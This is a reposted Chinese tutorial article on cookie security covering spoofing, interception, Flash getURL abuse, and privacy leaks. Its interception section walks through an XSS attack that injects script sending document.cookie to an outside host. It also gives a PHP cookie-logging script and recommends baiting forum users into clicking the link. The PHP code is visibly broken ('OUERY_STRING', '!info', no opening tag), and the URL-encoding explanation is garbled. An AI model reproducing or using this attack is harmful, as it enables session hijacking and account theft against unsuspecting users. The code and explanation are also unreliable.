首頁 >web前端 >js教程 >深入分析Cookie的安全性問題_cookie

深入分析Cookie的安全性問題_cookie

WBOY
WBOY原創
2016-05-16 16:12:071697瀏覽

Cookie的目的是為使用者帶來方便,為網站帶來增值,一般情況下不會造成嚴重的安全威脅。 Cookie檔案不能作為程式碼執行,也不會傳送病毒,它為使用者所專有且只能由建立它的伺服器來讀取。另外,瀏覽器一般只允許存放300個Cookie,每個網站最多存放20個Cookie,每個Cookie的大小限制為4KB,因此,Cookie不會塞滿硬碟,更不會被用作"拒絕服務"攻擊手段。

但是,Cookie作為使用者身分的替代,其安全性有時決定了整個系統的安全性,Cookie的安全性問題不容忽視。

(1)Cookie欺騙 Cookie記錄了使用者的帳戶ID、密碼之類的訊息,通常使用MD5方法加密後在網路上傳遞。經過加密處理後的資訊即使被網路上一些別有用心的人截獲也看不懂。然而,現在存在的問題是,截獲Cookie的人不需要知道這些字串的意思,只要把別人的Cookie向伺服器提交,並且能夠通過驗證,就可以冒充受害人的身分登陸網站,這種行為叫做Cookie欺騙。
非法使用者透過Cookie欺騙取得相應的加密金鑰,從而存取合法使用者的所有個人化訊息,包括使用者的E-mail甚至帳戶訊息,對個人資訊造成嚴重危害。
(2)Cookie截獲
Cookie以純文字的形式在瀏覽器和伺服器之間傳送,很容易被他人非法截獲和利用。任何可以截獲Web通訊的人都可以讀取Cookie。
Cookie被非法使用者截獲後,然後在其有效期內重播,則此非法使用者將享有合法使用者的權益。例如,對於線上閱讀,非法用戶可以不支付費用即可享受在線閱讀電子雜誌。

Cookie截獲的手段有以下一些:

(1)用程式設計手段截獲Cookie。以下分析其手法,該方法分兩步驟完成。

步驟一:定位需要收集Cookie的網站,對其進行分析並建構URL。 首先打開要收集Cookie的網站,這裡假設是http://www.XXX.net,登陸網站輸入使用者名稱""(不含引號),對資料進行分析抓包,得到如下碼:
http://www.XXX.net/tXl/login/login.pl? username=&passwd=&ok.X=28&ok.y=6;
將其中""更換為:
"<script>alert(document.cookie)</script>"再試,如果執行成功,就開始建構URL:
http://www.XXX.net/tXl/login/login.pl? username=<script>window.open ("http://www.cbifamily.org/cbi.php?"+document.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是使用者能夠控制的某台主機上的一個腳本。需要注意的是"+"為符號" "的URL編碼,因為" "將會被當作空格處理。該URL即可在論壇中發布,誘使別人點擊。

步驟二:編製收集Cookie的PHP腳本,並將其放到使用者可以控制的網站上,當不知情者點擊了建構的URL後可以執行該PHP程式碼。腳本的具體內容如下:

複製程式碼 程式碼如下:

$info=getenv("OUERY_STRING");
if($info){ 
$fp=fopen("info.tXt","a"); 
fwrite($fp,!info."n");
fclose($fp);

header("Location:http://www.XXX.net");
?>

將這段程式碼放到網路裡,則能夠收集所有人的Cookie。如果一個論壇允許HTML程式碼或允許使用Flash標籤,就可以利用這些技術收集Cookie的程式碼放到論壇裡,然後給貼文取一個吸引人的主題,寫上有趣的內容,很快就可收集到大量的Cookie。在論壇上,有許多人的密碼就是被這種方法偷走的。
(2)利用Flash的代碼隱患截獲Cookie。 Flash中有一個getURL()函數。 Flash可以利用這個函數自動開啟指定的網頁,它可能會把使用者引導到一個包含惡意程式碼的網站。例如,當使用者在電腦上欣賞Flash動畫時,動畫幀裡的程式碼可能已經悄悄地連上網,並開啟了一個極小的包含有特殊程式碼的頁面,這個頁面可以收集Cookie、也可以做一些其他有害的事情。網站無法禁止Flash的這種作為,因為這是Flash檔案的內部功能。
(3)Cookie洩漏網路隱私
Cookie導致網路隱私洩密的主要原因是:!商業利益驅動。隨著電子商務的興起和互聯網上巨大商機的出現,一些網站和機構濫用Cookie,未經訪客的許可,利用搜尋引擎技術、資料探勘技術甚至是網路欺騙技術蒐集他人的個人資料,達到建構用戶資料庫、發送廣告等營利目的,造成用戶個人隱私的洩漏。 "Cookie訊息傳遞的開放性。Cookie檔案具有特殊的傳遞流程 和文字特性,在伺服器和用戶端之間傳送未經安全加密的Cook-ie文件,易導致個人資訊的洩密。

以上都是個人對於cookie安全性的理解,如有遺漏還請大家能夠指正。

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn